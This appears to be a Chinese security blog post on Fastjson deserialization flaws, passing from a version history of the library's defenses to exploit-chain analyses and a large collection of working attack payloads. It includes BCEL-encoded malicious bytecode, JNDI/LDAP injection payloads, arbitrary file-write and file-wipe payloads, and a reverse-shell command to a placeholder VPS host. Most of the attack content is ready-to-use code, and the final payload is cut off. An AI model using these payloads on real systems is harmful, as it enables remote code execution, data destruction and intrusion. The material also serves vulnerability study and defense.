      • 若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
    • AutoType机制关闭
      • 先检查黑名单,若类在黑名单中则抛出异常。
      • 再检查白名单,若不在白名单则抛出异常。
  3. 1.2.42版本

    • 加入对L;的检测,发现L;则去除。
    • 黑名单和白名单类名隐去,使用hash比对。
  4. 1.2.43版本

    • 加入对LL;;的检测,发现LL;;则去除。
    • 通过引入对[字符的检测进行进一步防护。
  5. 1.2.45版本

    • 黑名单机制问题:黑名单无法穷尽所有恶意类。
  6. 1.2.47版本

    • 开启AutoType且版本在33到47之间
      • 若类不在白名单,则继续检查黑名单。
      • 若类不在黑名单且不在mappings中,则正常加载。
      • 关键问题在于如何往mappings中添加恶意类。
    • 未开启AutoType且版本在24到32之间,也存在漏洞。
  7. 1.2.68版本

    • 引入

      1
      expectedClass

      机制,增加了防护,但仍存在逻辑漏洞:

      • 特别是针对Throwable类的防护不足。
  8. 1.2.80版本

    异常类漏洞防护

    • 针对Throwable类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。

fastjson的链子:

TemplatesImpl

存在条件限制

必须要使用Feature.SupportNonPublicField的情况下才能打这个链子

上面有相关的概念和情况讲解直接ctrl+f搜Feature.SupportNonPublicField查看用法

使用注意点:

fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

payload如下

1
2
3
4
5
6
7
8
9
{
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "su18",
"_tfactory": {},
"_outputProperties": {},
}
}

bytecode变成想要加载的恶意类的字节即可

image

JdbcRowSetImpl

环境条件限制:

对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过。

rmi的应该更早就被限制了好像会稍微再早一点,ldap适配的范围更大

高版本的绕过感兴趣的师傅可以看看这几个https://www.cnblogs.com/EddieMurphy-blogs/p/18078943

https://research.qianxin.com/archives/2414

https://wjlshare.com/archives/1661

img

1
2
3
4
5
6
7
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://ip:9473/TouchFile",
"autoCommit": true
}
}

autoCommit参数的存在会触发setAutoCommit函数

image-20250530000727843

跟进到connect()函数

image-20250530000809814

找到漏洞点lookup函数

根据上文的学习我们知道如果我们传参里dataSourceName这个参数就会触发setdataSourceName()函数

所以getdataSourceName()的值我们也是可控的

lookup函数一般是用来连接数据库的

类似于这些

1
2
3
// 固定的、安全的JNDI名称
"java:comp/env/jdbc/MyDB"
"java:global/myapp/SomeBean"

但是如果值可控我们也可以让他连接外部的我们vps上的ldap或者rmi搭建的服务

然后就是打jndi注入

加载恶意的字节

反弹shell

注意:虽然说反弹shell当然是最简便最好用的方法

但是这条链子不仅能用来打jndi反弹shell也可以拿过来打rce

只不过rce用别的链子就好

如果不出网无回显那就是bcel链子

这种情况下不出网也没办法打JdbcRowSetImpl的链子

BCEL&BasicDataSource利用链组合

这条链子也是有利用要求的

但是比TemplatesImpl的条件限制要低

条件限制:

jdk8u311的版本已经在默认的标准包rt.jar里不存在com.sun.org.apache.bcel.internal.util.ClassLoader;这个类了

jdk8u65就存在

所以利用的时候还要注意一下jdk版本

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面

还有个条件限制就是环境maven必须要存在tomcat-dbcp

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

先贴payload再来分析链

1
2
3
4
5
6
7
8
9
10
11
12
13
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
//注意:这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.hantest.fastjsontest1;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BcelTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println("$$BCEL$$"+code);
// 加载类并实例化
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
1
2
3
4
5
6
7
8
9
10
11
package org.hantest.fastjsontest1;

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.hantest.fastjsontest1;


import com.alibaba.fastjson.JSON;

public class BcelTest2 {
public static void main(String[] args) {
String payload =
"{\n"
+ " {\n"
+ " \"aaa\": {\n"
+ " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"
+ " \"driverClassLoader\": {\n"
+ " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
+ " },\n"
+ " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n"
+ " }\n"
+ " }:\"xxx\"\n"
+ "}";
JSON.parse(payload);
}
}

接下来这个是1.2.47下的bcel(更准确来说应该是1.2.24<=x<1.2.36)

因为在大于1.2.36的情况下通过key的jsonObject的tostring触发链发生了变化

所以是不通的

只不过这个payload是在1.2.47的写法上写的

所以适用于1.2.24-.1.2.35所有版本的bcel通杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$evil_code"
}
} : "xxx"
}
}

<=1.2.35下的分析:

BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons产生的。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。主要用来将xml文档转为class文件。编译后的class被称为translet,可以在后续用于对XML文件的转换。

image-20250530190646850

找到上述说到的包里的这个类

我们可以发现indexof的意思是查找某个字符或子字符串在原字符串中第一次出现的位置

跟进到createClass函数

image-20250530193627669

有个解码的操作和提权除去前八个字节值的操作

所以写poc的时候也要编码一次

然后就是通过实例化去触发这段代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.hantest.fastjsontest1;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BcelTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println("$$BCEL$$"+code);
// 加载类并实例化
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}

如何跟fastjson挂钩呢这个bcel利用链?
这里就需要用到我们maven中引入一个新的库去实现通过fastjson触发新的利用链再触发bcel利用链

image-20250530194131461

tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法,而getConnection()方法在返回的时候又会调用createDataSource()方法。

image-20250530194431002

而createDataSource()方法又调用了createConnectionFactory()方法。

image-20250530194441444

继续跟踪,查看createConnectionFactory()方法,可以看到这里有两个参数

this.driverClassName和this.driverClassLoader。

image-20250530194500245

这里解释一下poc,指定类org.apache.tomcat.dbcp.dbcp2.BasicDataSource是为了控制上面我们说的driverClassName和driverClassLoader这两个参数,然后还指定了com.sun.org.apache.bcel.internal.util这个类,目的是触发里面的ClassLoader类和loadClass方法,使其加载我们的恶意代码,加上bcel

1
2
3
4
5
6
7
8
9
10
11
12
13
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
//注意:这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource

上面这一小段的部分poc和文字以及图片来源于网上…讲的很好了就不重复了(偷个懒直接贴)https://blog.csdn.net/2301_76227305/article/details/144035731

上面还有个点没解释清楚就是具体是如何调用getConnection的

不解释清楚还是会对payload有点没看懂

**问:**为什么我直接构造这样的 payload("aaa" 对应一个 BasicDataSource 对象)无法触发漏洞,而必须将这个对象再嵌套一层并作为 Mapkey,才能触发 RCE?

解答:

key为JSONObject对象,也会触发parseObject解析

虽然正常情况下把key当作jsonObject对象而言不太合理并且有问题..因为一般key都是字符串的..但是fastjson确实有对应的逻辑

image-20250531004630499

点击parseObject函数

image-20250531005151349

他会触发tostring函数

会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法。

>=1.2.36下的分析

感兴趣的师傅可以看看这个

https://blog.51cto.com/u_15847702/5798868

是利用$ref

但是好像还需要目标服务器上有已经存在的类似于攻击者写好的恶意类才能利用

然后通过$ref访问属性名的时候会调用getter去触发

但是跟上面的bcel链子不能形成连接?也可能要深入挖掘.

我没找到>=1.2.36的bcel链子的payload并且在我自己看了原文章之后感觉也很难和bcel链子形成连接

所以这里就贴了个文章感兴趣的师傅研究研究看看能不能发现链子

我比较愚笨看不出来

我们先来了解一下$ref的大概用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class User {
private String cmd;

public void setCmd(String cmd) {
this.cmd = cmd;
}

public String getCmd() {
// getter 中执行命令
Runtime.getRuntime().exec(cmd);
return cmd;
}
}
[
{
"@type": "com.example.User",
"cmd": "calc.exe"
},
{
"$ref": "$[0].cmd"
}
]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class User {
public String getCmd() {
System.out.println("Getter called!");
return "some-cmd";
}
}
[
{
"@type": "com.example.User"
},
{
"$ref": "$[0].cmd"
}
]
输出:Getter called!

我们可以发现后面这个属性的部分.cmd只要是个属性名存在就行,不一定要局限于在payload有显式的cmd属性名

还记得我们上面的问题和解答吗,关于把他当作jsonobject放到key这个位置

最终目的是为了触发getConnection函数

$ref就会调用getter

这个时候我们只需要$ref:connection不就可以了吗?不就会触发getConnection了吗

BCEL-1.2.36~1.2.47payload如下

//注意:这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$CA$Q$ac$86$85$85uQ$k$e2$fb$RO$82$H$b9x$c3$Y$T$a3$89$c9F$M$Q$3c$_$e3$88C$60$d7$ec$ce$g$7e$cb$8b$g$P$7e$80$le$ecA$82$qNg$a6R$d5$d5$dd3$f3$f5$fd$f1$J$e0$E$fb$O$b2$u$3b$a8$605$87$aa$c15$h$eb66$I$d9S$V$u$7dFH$d7$ea$3d$82u$R$deK$c2$8a$a7$Cy$93$8c$fb2$ea$fa$fd$R$xe$_$U$fe$a8$e7G$ca$f0$99h$e9G$V$T$f2$5eW$c6$ba$z$l$9a$E$e7r$o$e4$93Va$Q$db$d8d$de$J$93H$c8$xe$fc$ee$ccw$3c$f4$9f$7d$X6r6$b6$5clc$87$7bq$7b$e1b$X$7b$E$7b$e6$p$U$8d$b31$f2$83A$a3$d5$lJ$a1$J$95$a9$a4$c2$c6uk$3e$8bP$fa3$b6$93$40$ab1$8fs$GR$cfI$b5V$f7$fey$f8$c2$96$9cHA8$ac$zd$3b$3aR$c1$a0$b9Xp$h$85B$c6q$T$H$c8$f0g$9aE$i$fc$E$a4$90gv$ceH$8c$cbGo$a0w$a4$ca$e9WXw$_$ac$a4$e0$Y$ji$3e$z$8e$M$K$dca$89$99$fb$5b$c1X$98$a2$c9$f3$e7$f3$$N$ebJ$3f$83$94$e8$8d$c2$B$A$A",

"$ref": "$.x.y.c.connection"
}
}
}
}

基于Tomcat回显

编写BCEL_exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCEL_exp {
public static void main(String[] args) throws IOException {
Path path = Paths.get("D:\\java\\untitled1\\FastJsonDemo\\untitled\\src\\exp.class");
byte[] bytes = Files.readAllBytes(path);
System.out.println(bytes.length);
String encode = Utility.encode(bytes, true);
BufferedWriter bw = new BufferedWriter(new FileWriter("./res.txt"));
bw.write("$$BECL$$" + encode);
bw.close();
}
}

//生成的字节码如下
//$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A

exp.classs => java1.8_65

1
2
3
4
5
6
7
8
public class exp{
static {
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
}

构造poc如下,成功弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
}
}

再去构造编写反弹shell构造即可

1
bash -c {echo,bash -i >& /dev/tcp/VPS/6666 0>&1的base64}|{base64,-d}|{bash,-i}

基于Spring echo回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "字节码放入此处"
}
}

基于mybatis组件

1
2
3
4
5
6
pom.xml
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>

姿势:延时Payload

1
2
3
{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$90$b9N$c3$40$Q$86$ff$J$b678$O$Jq8$r$K$ba$84$824$94$R$N$87$c4$8d$94$u$fdz$b3$C$H$c7$b6$8c$83x$E$de$84$3a$V$88$82$H$e0$a1$Q$b3$L$C1$c5$cc$ee7$ff$i$bb$l$9fo$ef$A$f6$b0$e9C$60$d9$85$b5$f0$c9G$L$a1$40$5b$60E$60$95$e0$f5$e34$$$f7$J$L$9d$ee$88$e0$idcMh$9c$c7$a9$be$9cM$p$5d$Me$940$a9$f6U$f2$a3$ac$PJ$a9$ee$$dnS$dc$8b$e0$P$b2Y$a1$f4ql$a5$d7$99$da$9d$c8$H$Z$a0$8aE$81$b5$A$eb$d8$m$84$86$f5$S$99$de$f4$8e$k$95$ce$cb8Ky$$$ab$J$cd$bf$dcU4$d1$aa$fc$87$86$b7$85$96c$82$7b$9fh$9d$f3$96$9d$d3$ee$I$db$f0$f8i$c6$w$m3$8a$bd$cf$b7$z$8e$c4$d1$ddy$B$cd$f9$40$a8$b1$f7$y4$c2$e0WzhK$81Z$h$95W8$cfp$ce$e6$Wx$yq9i$K$5bp$d8$3b$cc$be$a9$f9$d0$3a$T$81$ca$89$c0$92$e9$d9$b0K4$bf$A5$8d$cc6u$B$A$A}"}}
回显Payload
{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{字节码放这里}"}}

更多的fastjson利用链:

https://www.javasec.org/java-vuls/FastJson.html

以下为部分在各个途径搜集的 payload,版本自测:

JdbcRowSetImpl

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}

TemplatesImpl

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}

JndiDataSourceFactory

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}

SimpleJndiBeanFactory

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}

DefaultBeanFactoryPointcutAdvisor

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

JndiRefForwardingDataSource

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}

InetAddress

1
2
3
4
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}

Inet6Address

1
2
3
4
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}

URL

1
2
3
4
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

JSONObject

1
2
3
4
5
6
7
8
9
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}

URLReader

1
2
3
4
5
6
7
8
9
10
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

JndiConverter

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}

JndiObjectFactory

1
2
3
4
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

1
2
3
4
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

1
2
3
4
5
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}

JMSContentInterceptor

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}

ContextClassLoaderSwitcher

1
2
3
4
5
6
7
8
9
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
